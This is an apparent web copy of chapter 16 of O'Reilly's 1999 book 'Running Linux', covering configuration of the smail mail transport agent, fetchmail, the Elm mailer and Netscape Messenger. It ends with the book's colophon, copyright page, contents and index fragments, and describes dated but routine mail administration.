16.2.1.4. smail EDITME file

The first step in configuring smail from a Linux distribution is to go to the /usr/lib/smail/linux.tools directory (or wherever your distribution stores the smail configuration files) and copy the EDITME-dist file to EDITME. There are some distributions out there in netland where even the EDITME file is missing. These distributions typically contain only the binary files needed, but no configuration files whatsoever. If this is case, look again at the place where you downloaded your smail package; sometimes you can find another package that contains configuration files. If all else fails, download the source package and take the EDITME-dist file you find there.

Once you are the lucky owner of an EDITME file, edit it to alter any variables you need to. Some of the values you can assign in EDITME are better handled in a later step, when you run /usr/lib/smail/linux.tools/mkconfig to complete the smail installation. Variable assignments in the EDITME file are in the form of variable=value. The following are variables to which you might wish to give special attention to in the EDITME file:

OS_TYPE=linux

The OS_TYPE should already have a value of linux if you are using a standard Linux distribution of smail. Check this just in case.

HAVE=HDB_UUCP

If you've installed some other UUCP package than the usual Taylor UUCP, you should study the comments about the HAVE variable. For Taylor UUCP, you don't want to set a value for HAVE.

UUCP_ZONE

If you are on a UUCP network, and you are not going to be on the Internet, look at the comments on the UUCP_ZONE variable. You may need to set UUCP_ZONE=true to achieve the address-handling behavior you want for certain UUCP networks.

DOMAINS

You may need to set DOMAINS to a domain name if you did not perform a standard Linux installation and configuration. If you did, however, you will probably want to omit setting DOMAINS in the EDITME file, and make any changes you need when you run mkconfig.

SMAIL_BIN_DIR

Linux normally sets /usr/bin as the SMAIL_BIN_DIR value. This variable establishes the path to the primary mailer on the system. If you've put your primary mailer somewhere else, you'll have to change this variable's value.

LIB_DIR

Linux normally sets /usr/lib/smail as the LIB_DIR path. If you put smail files somewhere other than /usr/lib/smail, you need either to change LIB_DIR to reflect this or to link the directory you use to /usr/lib/smail.

NEWALIASES

The mkaliases command functions as the newaliases utility if you set this variable; otherwise you must invoke the utility as mkaliases. The default behavior is the latter. If you want to enable invocation as newaliases, the argument to NEWALIASES should be set to the path of the newaliases command.

UUCP_SYSTEM_FILE

If you are using a UUCP package other than Taylor UUCP, you may need to set this variable to something different from its current value. Currently, it is set as UUCP_SYSTEM_FILE=/usr/lib/UUCP/Systems, which is typical for a BNU or HoneyDanBer UUCP distribution.

SPOOL_DIRS

By default, SPOOL_DIRS is set to /var/spool/smail, but you may want more than one spool directory available if you think you will need more inodes to handle the volume of pending mail or if you change the directory specified. To specify more than one spooling directory, enter each spooling directory's path, separated by a colon. If you have set aside a fast disk drive for spooling operations, you may need to change the path in order to place the primary spooling directory in that mounted path. For example, if your fast disk drive is mounted as /var/spool, you might have something like:

SPOOL_DIRS=/var/spool/smail:/usr/spool/smail

NEWS_SPOOL_DIR

This is normally set to /var/spool/news; considerations are similar to SPOOL_DIRS variable, except, of course, that Netnews volume is getting huge, so you really might need more spooling directories.

16.2.1.5. The mkconfig file

After you are satisfied with the state of your EDITME file (and in fact, you may have determined that you need not set any special values in an EDITME file), you are ready to run /usr/lib/smail/tools.linux/mkconfig. This utility creates a supplementary file that overrides or supplements other smail variables; the file is /usr/lib/smail/tools.linux/config.state. We'll provide responses to a few of these questions and show you the resulting output file. These are the considerations you should be ready to resolve when mkconfig is run:

Extra hostnames

mkconfig already knows a hostname if you installed Linux using one of the standard distributions or if you gave a value in the EDITME file. Now you are asked if you want your host to be known by multiple hostnames. This is useful if the host is on more than one network, for example. For our configuration run, the host value was already set to pond.walden.com (composed from the hostname value of pond and from the domain name value of walden.com). We answered the query by entering an additional hostname of pond.conserve.org, because we'd like to be known to some correspondents on the outside by that domain name.

System's visible name

You can set the visible name to something other than the actual hostname. The purpose of this is to provide a single visible mailing address for mail coming from a cluster of machines. You should specify the machine that all mail coming from outside the local network will be sent to. If the visible name value isn't set, the primary host and domain names form the name used.

Smart host

This is a very important consideration; you should have a smart host, which is a host to which you route all mail you can't deliver. If you don't answer this question when you run mkconfig, you should edit the /usr/lib/smail/config file to provide this data when you are ready to designate a smart host. We responded to this query with Netscape Messenger window ruby.ora.com, because we are using it as our connection to the outside world.

Smart transport

This specifies the preferred mail-transport medium; the default is TCP.

Smart user

This is for email wizards who can figure out forwarding addresses for misrouted mail. You should probably leave it unset, so mail that is routed to an unknown user on the local host is bounced back to the sender.

Postmaster

Someone should take responsibility for email. If you are performing mkconfig, you are probably "it" and should provide your own user ID in response. If the postmaster isn't designated, all mail sent to postmaster goes to the root user. We supplied lark as the user ID for postmaster.

Primary mailer

Basically, mkconfig checks to see if /bin/mail exists, and if it does (as it does on most Linux systems), it regretfully accepts this as the primary mailer. You can edit your customization file to use another mailer, like Elm.

The file that results from the interactive mkconfig procedure looks like this:

more_hostnames=pond.walden.com:pond.conserve.org
visible_name=
smart_path=ruby.ora.com
smart_user=
postmaster=lark

16.2.1.6. Final smail installation notes

When your smail installation is complete, make sure you remove or rename any existing rmail, sendmail, or other commands that smail is intended to replace. (The smail installation script probably already has created these links, but you need to verify the situation; if you had existing utilities before installing smail, they may not have been replaced with links to smail.) Create the smail links that are needed to carry out all of its many roles, so programs that depend on these utilities can find them:

# ln /usr/bin/smail /usr/bin/mailq
# ln /usr/bin/smail /usr/bin/rmail
# ln /usr/bin/smail /usr/bin/rsmtp

# ln /usr/bin/smail /usr/bin/runq
# ln /usr/bin/smail /usr/sbin/sendmail
# ln /usr/bin/smail /usr/bin/smtpd
# ln /usr/bin/smail /usr/bin/mkaliases

When you have established these links, the utilities that rely on them can be configured for full network operation. For good instructions on that process, refer to (of course) the Linux Network Administrator's Guide.

If smail is configured correctly on your system, there is a line in the /etc/services file that says:

smtp        25/tcp        mail
There is also a line in the /etc/services file that says:
SMTP   stream  tcp    nowait  root  /usr/sbin/tcpd  /usr/bin/rSMTP -bs

16.2.1.7. smail runtime configuration files

The smail binary is preconfigured and needs only minor tuning. Usually the changes can be made through the EDITME script, the linux.tools/config script, or directly to the /var/lib/smail/config (/etc/smail/config on Debian 1.3) file. Normally, you need no other configuration, but there are some other files smail uses to alter configuration at runtime. If you should ever need any of these, build them according to "Setting Up Runtime Configuration Files" in Smail--Installation and Administration Guide. Also use smail(5) to provide information about the meanings of the variables you set.

A second host configuration file, /private/usr/lib/smail/config, redefines mailer behavior on a local workstation. This is intended for use on a LAN, in cases where your local system might need to behave differently from the central smail configuration file that controls the site as a whole.

The directors, routers, and transports files redefine attributes of the smail director, router, or transport MTA functions. Again, these normally apply to LAN and multipathed network connections.

A methods file is used in conjunction with runtime configuration files to assign different transport protocols to use with different hosts. This isn't necessary for mixed UUCP and TCP/IP use, but it can be employed when you want to do something unusual, such as using an SMTP protocol over UUCP or a UUCP batch protocol over TCP/IP. The technique is useful, but is not for the novice mail administrator.

A qualify file tells a host the domain to route mail to if a bare hostname is given as a mail address. This is an easily abused feature and should normally be avoided. However, it can define UUCP mail routing to a UUCP system that keeps full and accurate UUCP maps (with the cooperation of that host's mail administrator).

A retry file modifies retry and timeout behavior of smail. This file sets minimum delivery intervals, maximum durations, and the number of attempts separately for each target domain that the mail host connects to. Its use is beyond the scope of this book, but you may need to use this file at some point.

16.2.2. Getting the Mail to Your Computer with Fetchmail

If your provider stores your mail for you until you fetch it, and you do not want to use your mailer to download the mail, you need a program that retrieves the mail from your provider's computer. There are a lot of programs for doing this; we will discuss fetchmail here briefly, because it is both robust and flexible and can handle both POP3 and IMAP.

You can get fetchmail from your friendly Linux archive; chances are that your distribution carries it, too. In case you download a source distribution of fetchmail, unpack, build, and install it according to the installation instructions.

You can control fetchmail 's behavior both via command-line options or by a configuration file. It is a good idea to first try to fetch your mail by passing the necessary information on the command line, and when this works, to write the configuration file.

As an example, let's assume that my provider is running the POP3 protocol, that my username there is joeuser and that my password is secret. The hostname of the machine where the POP3 server is running is mail.isp.com. I can then retrieve my mail with the following command:

fetchmail --protocol POP3 --username joeuser mail.isp.com

fetchmail then asks me for my password, and after I specify it correctly, retrieves the mail waiting for me and passes it on to my MTA for further delivery. This assumes that a SMTP server is running on port 25 of my machine, but this should be the case if I have set up my MTA correctly.

While you are experimenting with fetchmail, it might be a good idea to also specify the option --keep. This prevents fetchmail from deleting the messages from your POP3 account. Normally, all messages are deleted from your provider's hard disk once they are safely stored on your own machine. This is a good thing, because most providers limit the amount of mail you can store on their machines before retrieving them, and if you don't delete the messages after fetching them, you might reach this limit quite soon. On the other hand, while testing, it is a good idea to be on the safe side and use --keep so as not to lose any mail.

With the options just shown to fetchmail, you should already be able to get your mail in most cases. For example, if your provider uses the newer IMAP protocol, simply specify IMAP in the command line instead of POP3. If your provider has some unusual setup, you might need one of the other options that the fetchmail manual page tells you about.

Once you are satisfied with the download process, you can write a fetchmail configuration file in order not to have to enter all the options each time you use the command. This configuration file is called .fetchmailrc and should reside in your home directory. Once you are done editing it, make sure it has the permission value 0600 so that nobody except yourself can read it, because this file might contain your password:

chmod 0600 ~/.fetchmailrc

The full syntax of the configuration file is detailed in the fetchmail man page, but in general you need only very simple lines that start with poll. To specify the same data as on the command line in the previous example, but this time include the password, put the following line into your configuration file:

poll mail.isp.com protocol pop3 username joeuser password secret

Now you can run fetchmail without any parameters. Since fetchmail already knows about your password from the configuration file, it will not prompt you for it this time. If you want to play safe while testing, add the word keep to the poll line.

Using fetchmail with a configuration file has one additional advantage: You can fetch mail from as many mailboxes as you want. Just add more poll lines to your .fetchmailrc, and fetchmail happily retrieves your mail from one server after the other.

When and how you run fetchmail depends on what kind of connection to the Internet you have. If you have a permanent connection or a cheap, flat rate, you might want to have fetchmail invoked by cron at a suitable interval (like once an hour). However, if your Internet connection is nonpermanent (dial-up) and costly, you might want to choose to run fetchmail by hand whenever you actually want to fetch and read your mail so as to minimize your Internet connection time. Finally, if you are using PPP for dialing in to your Internet service provider, you might want to invoke fetchmail from the ip-up script, which is invoked as soon as an Internet connection is made. With this setup, when you browse a web page and your computer dials up your provider, your mail is fetched automatically.

16.2.3. Other Email Administrative Issues

In this section we describe tasks, services, and some additional utilities involved in managing your electronic mail system.

You should normally use only one Internet host to get all your mail. It is possible to use a more complex arrangement, but this is frowned upon because of the possibility of setting up loops--virtual Sargasso Seas of lost network information. Loops can route mail in circles, passing over and over through the same machines until they "time out" by exceeding the limit on the number of machines they can pass through.

16.2.3.1. Registering an address

If you want to get your mail directly from the Internet, you need to register an Internet domain name for your system. You may have the domain name of your Internet connecting host, but you could have some other domain name entirely. It doesn't matter; the Domain Name System (DNS) database routes mail for your domain to your Internet host connection. We call this host your gateway connection. (If your system routes all mail back only to this gateway connection, your system is called a leaf system.)

In turn, the gateway host that connects you to the Internet normally holds your MX (mail exchanger) record. A host that holds an MX record for a system acts as the mail forwarder to that system. It must know the exact paths to deliver mail to all the machines in your domain, if you use more than one host as a mail host. The gateway host connects directly to your system, generally either by Ethernet or by UUCP connection over a switched telephone line.

Your own mail host should be configured so that all email not sent to the local host, or not otherwise sent directly to a host you connect to, is routed to your Internet mail gateway--your smart host.

The Linux Network Administrator's Guide tells how to register domain names, fill out MX records, and configure both sides of the gateway-leaf mail connection. Two other books that can help you manage your Internet connection are TCP/IP Network Administration and DNS and BIND.

It should be noted that registering a domain does not automatically imply that you'll be doing all the mail handling yourself. Many Internet service providers offer the service of registering a domain of your choice and then do all the mail handling for you, that is, you still get the mail in your mailbox.

16.2.3.2. Mail system maintenance

You should set up a cron task to occasionally check the mail queue (usually /var/spool/smail ) and force an attempt to deliver mail that wasn't previously delivered for some reason. Mail can be queued because a host is temporarily unreachable, or a filesystem is full, or for myriad other little reasons. cron is discussed in the section "Section 8.2, "Scheduling Jobs Using cron"" in Chapter 8, "Other Administrative Tasks".

The mail administrator also should occasionally check the mail queue and make sure there are no messages "stuck" there:

$ mailq -v
This command generates a report on any mail in the queue, along with log information that informs you if there is a persistent mail-delivery problem.

16.2.4. Installing Elm

Now you can get mail to your system, and it is sitting in a spool directory waiting to be read. Your last job is to install a mailer that provides a convenient interface for reading, composing, and filing mail messages.

The Elm mailer was created by Dave Taylor, of the Elm Development Group, and continues to be developed through the Usenet Community Trust. Copyrights on Elm are held by Dave Taylor and the Usenet Community Trust.

Elm isn't the most powerful mailer available, but it is robust and suits the needs of most users. It has a simple user interface with menus and built-in help. Most other screen-oriented mailers available on Linux support much the same basic mailer features, using a similar display interface. Once you know Elm, you can easily switch to another mailer if you find one more to your taste. Other popular text-mode mailers are pine and mutt; the supporters of the different mailers can start arguments that are no less violent than those between Emacs supporters and vi lovers. In addition, there are now also a great number of X-based GUI mailers that are often easier to set up and use than the traditional text-mode mailers like Elm. We will cover one of them, Netscape Messenger, later in this chapter.

In this discussion, we mention different directories and files that Elm uses. These are defaults; the mail administrator can set up some different locations, and each Elm user can change the setup of files and directories.

16.2.4.1. Preparing for installation

Before you install Elm, you should already have set up communications links to any UUCP and TCP/IP hosts with which you exchange mail directly. If these connections change, you may have to reinstall Elm or edit some files. During installation, you need to supply the Elm configuration program with essential data about the host domain name and system name, about the routing of mail, and so on. Specific information you need includes:

Domain name

If you are on the Internet, you need to register a domain name, or (more commonly) become part of an established domain--probably the domain of the host that will provide you with mail service and hold your MX record.

Hostname

This is the name of the mail host you are configuring.

Absolute name

This is the complete hostname, including the domain.

Locking methods

Elm uses mail spool files, and sometimes it needs to lock files. Elm supports UUCP "dotlock," locking, BSD flock locking, and System V fcntl locking. Linux possesses both fcntl and flock functions. If you are also using UUCP on your system, you need dotlock and you should also enable fcntl locking. Elm will ask you interactively when you run Configure what forms of locking to support.

Content-length control

MTAs can now transmit binary messages embedded in email. However, to do so, they cannot tolerate changes in message content by mailers. A Content-Length: header is used to specify the message length, and you should allow this header to be used. However, honoring Content-Length: headers requires that the mailer not insert escapes or buffering characters in front of instances of the text string From occurring at the start of a line.

Dot-message termination

By default, Elm turns off dot-termination of mail (where a line containing only a . causes the mailer to end the message). You don't want to enable dot termination if you enable content-length control, which you probably want to allow in the brave new multimedia world.

Before using Configure to install Elm, read the Elm Configuration Guide to make sure you have the answers you need to complete the process successfully. There are a number of lesser issues to decide in addition to the issues just mentioned. Some of them require knowledge of your Linux file tree, so you should investigate these first to avoid having to abort or reinstall later. You may also find it useful to refer to the chapter in the Linux Network Administrator's Guide that gives an introduction to electronic mail, for a broader view of electronic mail issues, including mail addressing and routing and use of UUCP as a mail-routing agent.

If you reinstall Elm, you may need to replace system alias files and have all the users replace their alias files. A newalias command is provided for the purpose and should be run by each Elm user.

16.2.4.2. Installation Procedure

First, get the latest released sources for Elm and put the source files in a build directory, such as /usr/local/bin/elm2.4. Elm may have been included with your Linux distribution and could have been built when installing or reinstalling the Linux package. If this is the case, you should test the installation to make sure it is complete and up to date.

At least one major distribution of Linux that includes the Elm package includes only the executable and omits example configuration files and installation instructions. You can get the rest of the package (including documentation) through FTP sites that have the full package. These are not necessarily Linux source sites.

The Elm package contains a Configure shell script you should run to install Elm. A file named Instruct contains fundamental directions for installing the current version of Elm on your system, but it probably doesn't tell you the information you should have on hand when you run Configure. We'll try to tell you the needed key information, but if we miss something, reinstalling Elm is as easy as running Configure again. From your Elm build directory, as the root user, execute Configure:

# sh Configure

Configure installs localized configuration files after asking you some questions.

Next, you need to build the Elm document set:

# make documentation

Then run a full make process, building a log file and showing messages in case of make errors:

# make all > MAKELOG 2>&1 &
# tail -f MAKELOG

This assumes you are using the bash shell. If you use csh or tcsh, enter the make command this way:

% make all >& MAKELOG &

This process takes a while. On successful completion, you should find most of these commands in /usr/bin: answer, checkalias, elm, fastmail, filter, frm, listalias, messages, newalias, newmail, printmail, and readmsg. There should also be equivalent online reference pages in /usr/man/man1 and /usr/man/man8.

Next, install your software on the system:

# make install

As of the time of this writing (Elm Version 2.4), there is a known security risk with arepdaemon and autoreply. These should be removed from your system. The manual pages for these utilities should also be removed before you update your whatis database by running makewhatis. If you are using Elm 2.4 PL 24 or later, these programs have already been removed from the ELM distribution.

Before running Elm, read and dispose of any queued mail for the root user. You will be testing the Elm configuration as root, and you don't want to lose any pending messages.

Now test your installation by running Elm. First, check that Elm correctly detects that you have no existing mail (still as the root user):

# elm -z

Elm should display the message no mail and exit. (If there is mail for root, Elm will come up in interactive mode and list the messages at the Index screen.)

Next, check for correct mailbox handling. (Elm creates a test mail folder when it installs):

# elm -f test/test.mail

Exit without marking any messages for deletion. Elm should prompt you for correct handling of the messages.

Assume a nonprivileged user identity and run elm -z. Elm should not load unless there is pending mail. If there is pending mail and you have not previously had Elm installed (don't have a $HOME/.elm directory), Elm should prompt you to create the directory. You need to edit the SYSTEM_ALIASES file to set up at least one alias, defining the identity of the system postmaster so that mail sent to the postmaster at your site is handled correctly. Then, the newaliases command must be run to set up the aliases table. The procedure is described in the Elm Configuration Guide for your version of Elm.

Once you are satisfied that Elm is configured and installed properly, you can propagate the installation of Elm on your whole LAN, if you maintain mail services on more than one host. The directions for the make process are included in the Instruct file of the Elm distribution.

16.2.4.3. Elm documentation

There is a set of documents for Elm that may be useful for tuning Elm or building scripts for advanced mail management. The Elm document set on your system most likely matches the version of Elm you are running, which is a critical advantage. These are the guides available in the Elm document set:

Elm User's Guide

Provides some history of Elm, fundamental usage, and credits for contributors to the continued development of Elm. This guide provides basic usage information but is thin on concepts, some of which are described in the Elm Reference Guide or in other guides. Unless your version of Elm is later than Version 2.4, you probably won't need this except to satisfy your curiosity.

Elm Reference Guide

Discusses Elm and the options within the Elm environment, Elm advanced features and debugging, elmrc options file customization, and more. This guide provides some of the conceptual information that the Elm User's Guide omits as well as useful practical and conceptual information on various Elm features and utilities. This volume can be handy when configuring Elm, and it contains some information of interest only to mail administrators.

Elm Alias User's Guide

Tells how to set up and maintain mail aliases in Elm and the related files.

Elm Filter System User's Guide

Tells how to use Elm mail-filter utilities to automate some mail handling.

Elm Configuration Guide

Discusses all the available options of the current version of Elm to help you fine-tune your configuration. You can get into trouble if you rely only on this volume, so if you decide to tinker with some of the more arcane options, we recommend you change them one by one and test the results rather than make wholesale changes. This volume is of practical interest to mail administrators, though, who should use it in conjunction with a printout of a complete elmrc file and the sysdefs.h file on the system.

Elm Forms Mode Guide

Describes the use of AT&T Mail Forms, which Elm supports. This feature isn't useful to most Elm mail users, but if you need the feature, you need this guide as well.

Elm reference pages

Elm has online reference pages you can access using the man command for each utility that you can invoke from the command line and a reference page that describes files that Elm creates and uses in mail management. These are always useful, and you should use them generously at any time. They describe the command-line options for each command and provide technical detail that may not be available anywhere else. Some sites may keep these files in a printable format as well--in PostScript, text, or another format--so you can have them at hand for personal reference.

Elm also contains internal help, which is stored in a set of files you can print for convenient hardcopy reference. These files are:

elm-help.0

Help for Elm Actions (internal commands) available from the Index screen

elm-help.1

Help for Elm Options (user customization) menu

elm-help.2

Help for the Elm Alias menu

elm-help.3

Help for Elm Actions available from the message display screen

16.2.5. Using Netscape Messenger

Netscape Navigator, the web browser that you learned about at the beginning of this chapter, is accompanied by a suite of other programs. These include the mailer, Netscape Messenger. If you have downloaded (or installed from your distribution media) the full Netscape Communicator package, you already have Netscape Messenger. If not, get Netscape Communicator, because Messenger is currently not available standalone.

Many people criticize Netscape Messenger for being slow and for missing some features. But on the other hand, Messenger is easy to set up and has some nice features like hierarchical folders and tight integration with the web browser.

Once you have installed Netscape Communicator, you can run the web browser Netscape Navigator as usual and then open up the Messenger window by selecting Messenger from the Communicator menu or by pressing the key combination Alt-2.

The Messenger window (see Figure 16-13) is divided by default into three parts. On the left, you see the tree of folders (at first startup, you will have only the default folders, of course), the upper part of the right side shows a listing of mails in the currently selected folder, and the lower part of the right side shows the currently selected mail. You can change how the space is distributed between these parts by dragging on the knob on the separator line between them.

Figure 16-13. Netscape Messenger window

Before you can first use Messenger, you have to set up some things first. Select Edit from the Preferences menu and then open the configuration group Mail & Newsgroups by clicking on the little arrow next to it. You have to fill out at least the Identity and Mail Servers forms. First click on Identity and enter your name and email address as indicated in the dialog box.

Next, click on Mail Servers. The upper half of the dialog box shows a list of mail servers that Messenger should retrieve mail from. Unfortunately, even though there is a whole list provided here, you can have only one mail server unless you use the IMAP protocol.

To configure an Incoming Mail Server, click on the Add... button and fill out the form that appears. Your system administrator or your Internet provider will be able to give you all the data you need. Note that you can choose between three server types. For POP3 and IMAP, you will have to specify your username and password as they appear on your provider's server in addition to protocol-specific parameters. If you use one of those two server types, you do not need an MTA on your machine; Messenger automatically retrieves the mail and sorts the messages into your mail folders without any other programs intervening.

The option movemail, on the other hand, is used when you have set up other software like the MTA smail and the mail-fetching program fetchmail, both described earlier in this chapter. In this case, those programs will retrieve your mail and put them into your mail folder somewhere on your system, often /var/spool/mail/username. In this case, tell Messenger where movemail should pick up your mail from.

The next thing to set up is the outgoing mail server. If you have set up your own SMTP server because you have installed an MTA, enter either localhost (if the SMTP is running on the same machine as Messenger) or the hostname of the machine the SMTP server is running on. On the other hand, if you want to send outgoing mail directly to your provider, enter the hostname of your provider's SMTP server here. Depending on your provider, you might also need to specify your account name here again.

Once you are done with the configuration, you can tell Messenger to get your mail from wherever you specified and sort it into your folders. This is done by either clicking the Get Msg toolbar button or selecting File/Get New Messages from the File menu. If you get your mail from a POP3 or IMAP server, Messenger will first ask you for your password and then fetch your mail. All messages will be put into the Inbox folder where you can read them, store them into other folders, or simply delete them. How messages are dealt with is quite intuitive. You will be able to guess most of the functionality from the user interface. But when you are in doubt, you can always use the Help menu which, when you select an entry, opens a browser window (or reuses an already existing one) and shows the documentation on Netscape's web server.

To write a mail message, press Alt-M, click on the New Msg toolbar button, or select Message/New Message from the Message menu. Messenger opens a form where you can enter the recipients, the subject and, of course, the text of your mail.

Once you are done editing your mail you can press Alt-Enter, click on the Send toolbar button, or select Send Now from the File menu of the composition window. Messenger then directly contacts the SMTP server that you have configured and tries to send your mail. Of course, if you are using your provider's SMTP server, this requires that you are connected to your provider at that time or that you have configured your computer or gateway to dial out on demand.

If you have configured Messenger to use your provider's SMTP server and you have only a dial-up connection to the Internet, you might want to use another nifty feature of Messenger: if you send your mail by pressing Alt-Shift-Enter or selecting Send Later from the composition window's File menu, the message is not directly sent out, but instead stored in the Unsent Messages folder. You can collect your messages there until you have opened an Internet collection and then send them all at once by choosing Send Unsent Messages from the File menu. This is especially useful if dialing up to the Internet is costly where you live, because you can save yourself a lot of connection time.

We have only scratched the surface of what Messenger can do, and you might want to experiment further with it. A fairly basic thing to try out is to create new folders by selecting New Subfolder... from the File menu and then have Messenger sort your incoming messages automatically into the folders by subject, sender, or a number of other criteria. Sorting is accomplished by a feature called filters, which you can configure by selecting Message Filters... from the Edit menu.

Previous | Home | Next
16. The World Wide Web and Electronic Mail | Book Index | Appendix A: Sources of Linux Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (Running Linux)

 Running LinuxSearch this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The image on the cover of Running Linux, Third Edition is a rearing horse. A horse will rear often to avoid going forward-as a way to avoid either further work or a frightening object. Other factors may include poorly fitted tack or an overly aggressive rider. For some horses, rearing is a learned behavior. Often a very difficult vice to correct, rearing is not a very common problem with most reasonably trained horses, and it is not breed-specific or discipline-specific. Rearing is an unsettling, difficult move to ride, not to mention dangerous. When a horse rears, its rider must lean forward on the horse's neck, to avoid shifting the weight and flipping the horse over backwards.

Edie Freedman designed the cover of Running Linux, Third Edition using QuarkXpress 3.32. The cover image of a rider on a rearing horse is adapted from a 19th-century engraving from Marvels of the New West: A Vivid Portrayal of the Stupendous Marvels in the Vast Wonderland West of the Missouri River, by William Thayer (The Henry Bill Publishing Co., Norwich, CT, 1888).

Jeffrey Liggett was the production editor for Running Linux, Third Edition; Alva Ware-Bevacqui was the copyeditor; John Files was the proofreader; Sebastian Banker provided production assistance; Nancy Kotary, Claire Cloutier LeBlanc, and Abigail Myers provided quality control. Chris Reilley, Robert Romano, and Rhon Porter created the illustrations using Adobe Photoshop 5 and Macromedia FreeHand 8. Seth Maislin wrote the index.

Kathleen Wilson produced the cover layout with QuarkXPress 3.32 and Adobe Photoshop 5 software, using the ITC Garamond Condensed font. Edie Freedman, Jennifer Niederst, and Alicia Cech designed the interior layout. Chapter opening graphics are from the Dover Pictorial Archive and Marvels of the New West. Whenever possible, our books use a durable and flexible lay-flat binding. If the page count exceeds this binding's limit, perfect binding is used.

Interior fonts are Adobe ITC Garamond. Text was prepared in SGML using the DocBook 2.1 DTD. The print version of this book was created by translating the SGML source into a set of gtroff macros using a filter developed at O'Reilly by Norman Walsh. Steve Talbott designed and wrote the underlying macro set on the basis of the GNU gtroff -gs macros; Lenny Muellner adapted them to SGML and implemented the book design. The GNU gtroff text formatter version 1.10 was used to generate PostScript output.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Copyright Page (Running Linux)

 Running LinuxSearch this book

Copyright © 1999, 1996, 1995, O'Reilly & Associates, Inc. All rights reserved.

Printed in the United States of America.

Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the images of the American West in association with Linux is a trademark of O'Reilly & Associates, Inc.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Previous | Home | Next
Table of Contents | Book Index | 0. Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Running Linux

By Matt Welsh, Matthias Kalle Dalheimer, and Lar Kaufman
ISBN 1-56592-469-X
Third Edition, published August 1999
(See the catalog page for this book.)

Search the text of Running Linux.

Table of Contents

Copyright Page
Preface
Chapter 1: Introduction to Linux
Chapter 2: Preparing to Install Linux
Chapter 3: Installation and Initial Configuration
Chapter 4: Basic Unix Commands and Concepts
Chapter 5: Essential System Management
Chapter 6: Managing Filesystems, Swap, and Devices
Chapter 7: Upgrading Software and the Kernel
Chapter 8: Other Administrative Tasks
Chapter 9: Editors, Text Tools, Graphics, and Printing
Chapter 10: Installing the X Window System
Chapter 11: Customizing Your X Environment
Chapter 12: Windows Compatibility and Samba
Chapter 13: Programming Languages
Chapter 14: Tools for Programmers
Chapter 15: TCP/IP and PPP
Chapter 16: The World Wide Web and Electronic Mail
Appendix A: Sources of Linux Information
Appendix B: The GNOME Project
Appendix C: Installing Linux on Digital/ Compaq Alpha Systems
Appendix D: LinuxPPC: Installing Linux on PowerPC Computers
Appendix E: Installing Linux/m68k on Motorola 68000-Series Systems
Appendix F: Installing Linux on Sun SPARC Systems
Appendix G: LILO Boot Options
Appendix H: Zmodem File Transfer
Bibliography
Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: Running Linux (Running Linux)

Running LinuxSearch this book

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
Bibliography | Book Index | Colophon
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: 0 (Running Linux)

CGI Programming with PerlSearch this book

Index: 0

80387 math coprocessor: 3.1.1. Booting Linux
rmdir command: 4.4.1. Directories
& (ampersand): 4.11. Putting a Command in the Background
background processing: 11.1.1. xinit
in HTML text escapes: 16.1.4.6. More HTML features
* (asterisk): 4.8. Filename Expansion
in passwd file: 5.7.1. The passwd File
@ (at sign): 13.2.5. Multiple Commands
.bash_profile file: 4.15. Startup Files
.bashrc file: 4.15. Startup Files
[] (brackets): 4.8. Filename Expansion
^ (circumflex): 4.6. Useful Keys and How to Get Them to Work
.cshrc file: 4.15. Startup Files
$<, $@, $* macros: 13.2.4. Suffix Rules and Pattern Rules
. (dot)
for current directory: 4.10. What Is a Command?
dot-termination of mail: 16.2.4.1. Preparing for installation
.. for parent directory: 4.4.1. Directories
starting filenames: 4.4.2. Listing Files
.. (dot-dot) for parent directory: 4.4.2. Listing Files
.dvi files: 9.3.1.2. Formatting and printing
.emacs file: 4.15. Startup Files
9.2.8. Tailoring Emacs
.exrc file: 4.15. Startup Files
.fvwm2rc file: 4.15. Startup Files
> (greater than): 4.9. Saving Your Output
>& (redirecting errors): 4.9. Saving Your Output
>> (for appending output): 4.9. Saving Your Output
in HTML: 16.1.4.6. More HTML features
# (hash mark): 3.2.3. Editing /etc/fstab
13.2.2. Some Syntax Rules
as root prompt: 5.1. Running the System
- (hyphen): 13.2.5. Multiple Commands
Unix command options: 4.4.2. Listing Files
#include statements: 13.1.7. More Fun with Libraries
< (less than): 4.9. Saving Your Output
in HTML: 16.1.4.6. More HTML features
.login file: 4.15. Startup Files
.newsrc file: 4.15. Startup Files
% for job numbers: 4.11. Putting a Command in the Background
? (question mark): 4.8. Filename Expansion
" (quotation mark): 16.1.4.6. More HTML features
.rc files: 4.15. Startup Files
5.3.3. rc files
15.1.3.2. The networking rc files
/ (root) directory: 2.2.3. Linux Partition Requirements
3.1.1. Booting Linux
3.3.4.1. Problems booting Linux from floppy
5.2.1. Using a Boot Floppy
6.1.2. Mounting Filesystems
Not Found error: 3.3.1. Problems with Booting the Installation Media
as read-only: 5.2.2.3. Specifying boot time options
~ (tilde) in vi editor: 9.1.1. Starting vi
.twmrc file: 4.15. Startup Files
| (vertical bar): 4.9. Saving Your Output
.Xdefaults file: 4.15. Startup Files
11.4.2. Starting up xterm

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A (Running Linux)

CGI Programming with PerlSearch this book

Index: A

<a> HTML tag: 16.1.4.3. Using links
16.1.4.5. Embedded images
AbiWord application: B.4. Some GNOME Applications
abort command (lpc): 8.4.12. Controlling Printer Services with lpc
absolute links: 16.1.4.3. Using links
